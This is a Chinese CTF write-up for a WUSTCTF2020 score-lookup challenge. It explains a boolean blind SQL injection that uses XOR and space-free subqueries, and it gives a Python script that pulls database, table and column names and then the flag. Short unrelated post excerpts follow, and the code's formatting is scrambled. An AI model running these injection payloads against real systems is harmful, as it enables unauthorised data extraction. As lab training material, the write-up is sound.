WUSTCTF2020 顏值成績查詢

2021-10-06 04:43:28 字數 2065 閱讀 2207

輸入1看看

明顯sql注入題目,我測試了下,最多只能輸到4,然後我用了下別的sql語句都不行

我試試異或1^1^1

可以查詢到,插入sql語句,(這題其實過濾了空格,因為我之前做過類似的題目我就沒測試啥了)

大於200就查詢不到了,明顯的布林盲注

不多說了,詳情參看極客大挑戰finalsql

注意一點 flag在value裡不是在flag欄位裡

我就直接放exp吧

import requests

url=

''database =

""payload1 =

"?stunum=1^(ascii(substr((select(database())),{},1))>{})^1"

#庫名為ctf

payload2 =

"?stunum=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{},1))>{})^1"

#表名為flag,score

payload3 =

"?stunum=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),{},1))>{})^1"

#列名為flag,value

payload4 =

"?stunum=1^(ascii(substr((select(group_concat(value))from(ctf.flag)),{},1))>{})^1"

#for i in

range(1

,10000):

low =

32 high =

128 mid =

(low + high)//2

while

(low < high)

:# payload = payload1.format(i,mid) #查庫名

# payload = payload2.format(i,mid) #查表名

# payload = payload3.format(i,mid) #查列名

payload = payload4.

format

(i,mid)

#查flag

new_url = url + payload

r = requests.get(new_url)

print

(new_url)

if"hi admin, your score is: 100"

in r.text:

low = mid +

1else

: high = mid

mid =

(low + high)//2

if(mid ==

32or mid ==

132)

:break

database +=

chr(mid)

print

(database)

print

(database)

WUSTCTF2020 樸實無華

瀏覽器標題有亂碼 編碼調成unicode robots.txt fake f1agggg.php 訪問 後啥也沒有 用burp看 這裡必須採用 攔截 不攔截 啥都看不到 burp裡右邊響應頭里有提示,fl4g.php 然後 審計 level 1 if isset get num else else ...

2 02 理解查詢模型

示例 select name from users where age 10 可以形象的看作是下面這樣 let arr let users users.foreach item 是指列與列之間進行運算得出的結果,叫做廣義投影 因為null 表達的意思是 空 null null false null ...

CI20 2 洗牌演算法

實現乙個方法,對一副牌 52張 進行洗牌,要求洗出的52 組合是的等概率的,即每種組合的概率為1 52 假設已經有乙個完美的隨機數生成器。思路 思路比較直觀,第一次從52張牌中隨機取一張出來,概率為1 52 第二次從剩下的51張隨機取一張出來,概率為1 51 以此類推最終的概率就是1 52 接下來是...